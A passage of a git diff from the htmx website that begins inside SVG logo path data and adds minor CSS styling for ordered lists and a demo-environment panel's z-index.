294.25680Z" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></path><path d="M475.00040 306.93200Q468.19680 306.93200 463.76980 303.34380Q459.34280 299.75560 459.34280 292.76560L459.34280 292.76560Q459.34280 285.68240 464.04940 281.86120Q468.75600 278.04000 478.07600 278.04000L478.07600 278.04000L489.53960 278.04000L489.53960 277.20120Q489.53960 274.59160 487.34940 273.38000Q485.15920 272.16840 479.84680 272.16840L479.84680 272.16840Q472.20440 272.16840 464.74840 274.49840L464.74840 274.49840L464.74840 263.96680Q468.19680 262.56880 473.22960 261.73000Q478.26240 260.89120 483.38840 260.89120L483.38840 260.89120Q494.19960 260.89120 500.21100 265.31820Q506.22240 269.74520 506.22240 278.78560L506.22240 278.78560L506.22240 306L490.93760 306L490.09880 302.45840Q485.06600 306.93200 475.00040 306.93200L475.00040 306.93200ZM480.96520 296.68000Q486.27760 296.68000 489.53960 293.13840L489.53960 293.13840L489.53960 287.63960L481.05840 287.63960Q478.07600 287.63960 476.67800 288.75800Q475.28000 289.87640 475.28000 292.20640L475.28000 292.20640Q475.28000 296.68000 480.96520 296.68000L480.96520 296.68000Z" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></path><path d="M531.38640 306.93200Q525.88760 306.93200 520.85480 306.13980Q515.82200 305.34760 512.83960 304.13600L512.83960 304.13600L512.83960 291.55400Q515.91520 293.04520 520.38880 293.88400Q524.86240 294.72280 528.31080 294.72280L528.31080 294.72280Q532.41160 294.72280 533.76300 294.48980Q535.11440 294.25680 535.11440 292.95200L535.11440 292.95200Q535.11440 291.83360 533.66980 291.18120Q532.22520 290.52880 528.96320 289.59680L528.96320 289.59680L524.30320 288.10560Q517.87240 285.77560 515.07640 282.88640Q512.28040 279.99720 512.28040 274.68480L512.28040 274.68480Q512.28040 260.89120 533.90280 260.89120L533.90280 260.89120Q538.00360 260.89120 542.57040 261.54360Q547.13720 262.19600 549.93320 263.03480L549.93320 263.03480L549.93320 275.33720Q547.23040 274.21880 543.92180 273.61300Q540.61320 273.00720 537.81720 273.00720L537.81720 273.00720Q533.99600 273.00720 532.08540 273.33340Q530.17480 273.65960 530.17480 274.87120L530.17480 274.87120Q530.17480 275.89640 531.43300 276.45560Q532.69120 277.01480 535.86000 277.85360L535.86000 277.85360L539.96080 279.06520Q544.99360 280.55640 547.83620 282.32720Q550.67880 284.09800 551.84380 286.56780Q553.00880 289.03760 553.00880 292.85880L553.00880 292.85880Q553.00880 299.66240 547.51000 303.29720Q542.01120 306.93200 531.38640 306.93200L531.38640 306.93200Z" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></path><path d="M581.52800 306.93200Q569.59840 306.93200 562.46860 301.01380Q555.33880 295.09560 555.33880 284.00480L555.33880 284.00480Q555.33880 273.19360 561.39680 267.04240Q567.45480 260.89120 579.10480 260.89120L579.10480 260.89120Q589.82280 260.89120 595.97400 266.39000Q602.12520 271.88880 602.12520 281.39520L602.12520 281.39520L602.12520 289.13080L571.46240 289.13080Q572.58080 292.57920 576.07580 294.11700Q579.57080 295.65480 585.81520 295.65480L585.81520 295.65480Q589.54320 295.65480 593.41100 295.00240Q597.27880 294.35000 599.70200 293.32480L599.70200 293.32480L599.70200 303.85640Q593.17800 306.93200 581.52800 306.93200L581.52800 306.93200ZM571.46240 279.62440L587.02680 279.62440L587.02680 278.04000Q587.02680 272.07520 579.66400 272.07520L579.66400 272.07520Q575.28360 272.07520 573.37300 273.93920Q571.46240 275.80320 571.46240 279.62440L571.46240 279.62440Z" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></path></g></svg>
diff --git a/www/templates/shortcodes/demoenv.html b/www/templates/shortcodes/demoenv.html
index 8995b06d..a2cdf4ae 100644
--- a/www/templates/shortcodes/demoenv.html
+++ b/www/templates/shortcodes/demoenv.html
@@ -11,6 +11,7 @@
border-top: 2px solid gray;
overflow: hide;
margin: 0px;
+ z-index: 1;
}
#demo-server-info.show {
max-height: 45vh;
@@ -25,6 +26,10 @@
vertical-align: top
}
+ #demo-activity ol li {
+ list-style-position: inside;
+ }
+
#demo-canvas {
margin-bottom: 500px;
padding-top: 12px;
diff --git a/www/themes/htmx-theme/static/css/site.css b/www/themes/htmx-theme/static/css/site.css
index 8b82d3ba..5e78f447 100644
--- a/www/themes/htmx-theme/static/css/site.css
+++ b/www/themes/htmx-theme/static/css/site.css
@@ -178,6 +178,14 @@ ul li {
padding: 4px;
}
+ol {
+ margin-left: 12px;
+}
+
+ol li {
+ padding: 4px;
+}
+
@media(max-width:45rem) {
#nav {
height: 0px;